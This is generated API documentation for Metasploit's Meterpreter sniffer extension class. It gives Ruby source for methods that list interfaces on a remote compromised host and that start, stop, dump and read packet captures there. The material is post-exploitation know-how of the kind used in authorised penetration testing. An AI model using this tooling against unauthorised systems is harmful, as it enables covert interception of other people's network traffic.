class Rex::Post::Meterpreter::Extensions::Sniffer::Sniffer
This meterpreter extension can be used to capture remote traffic
Public Class Methods
new(client)
click to toggle source
Calls superclass method
Rex::Post::Meterpreter::Extension::new
# File lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb, line 19 def initialize(client) super(client, 'sniffer') client.register_extension_aliases( [ { 'name' => 'sniffer', 'ext' => self }, ]) end
Public Instance Methods
capture_dump(intf)
click to toggle source
Buffer the current capture to a readable buffer
# File lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb, line 91 def capture_dump(intf) request = Packet.create_request('sniffer_capture_dump') request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i) response = client.send_request(request, 3600) { :packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT), :bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT), :linktype => response.get_tlv_value(TLV_TYPE_SNIFFER_INTERFACE_ID) || 1, } end
capture_dump_read(intf, len=16384)
click to toggle source
Retrieve the packet data for the specified capture
# File lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb, line 103 def capture_dump_read(intf, len=16384) request = Packet.create_request('sniffer_capture_dump_read') request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i) request.add_tlv(TLV_TYPE_SNIFFER_BYTE_COUNT, len.to_i) response = client.send_request(request, 3600) { :bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT), :data => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET) } end
capture_release(intf)
click to toggle source
Release packets from a current capture
# File lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb, line 80 def capture_release(intf) request = Packet.create_request('sniffer_capture_release') request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i) response = client.send_request(request) { :packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT), :bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT), } end
capture_start(intf,maxp=200000,filter="")
click to toggle source
Start a packet capture on an opened interface
# File lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb, line 49 def capture_start(intf,maxp=200000,filter="") request = Packet.create_request('sniffer_capture_start') request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i) request.add_tlv(TLV_TYPE_SNIFFER_PACKET_COUNT, maxp.to_i) request.add_tlv(TLV_TYPE_SNIFFER_ADDITIONAL_FILTER, filter) if filter.length > 0 response = client.send_request(request) end
capture_stats(intf)
click to toggle source
Retrieve stats about a current capture
# File lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb, line 69 def capture_stats(intf) request = Packet.create_request('sniffer_capture_stats') request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i) response = client.send_request(request) { :packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT), :bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT), } end
capture_stop(intf)
click to toggle source
Stop an active packet capture
# File lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb, line 58 def capture_stop(intf) request = Packet.create_request('sniffer_capture_stop') request.add_tlv(TLV_TYPE_SNIFFER_INTERFACE_ID, intf.to_i) response = client.send_request(request) { :packets => response.get_tlv_value(TLV_TYPE_SNIFFER_PACKET_COUNT), :bytes => response.get_tlv_value(TLV_TYPE_SNIFFER_BYTE_COUNT), } end
interfaces()
click to toggle source
Enumerate the remote sniffable interfaces
# File lib/rex/post/meterpreter/extensions/sniffer/sniffer.rb, line 33 def interfaces() ifaces = [] ifacei = 0 request = Packet.create_request('sniffer_interfaces') response = client.send_request(request) response.each(TLV_TYPE_SNIFFER_INTERFACES) { |p| vals = p.tlvs.map{|x| x.value } iface = { } ikeys = %W{idx name description type mtu wireless usable dhcp} ikeys.each_index { |i| iface[ikeys[i]] = vals[i] } ifaces << iface } return ifaces end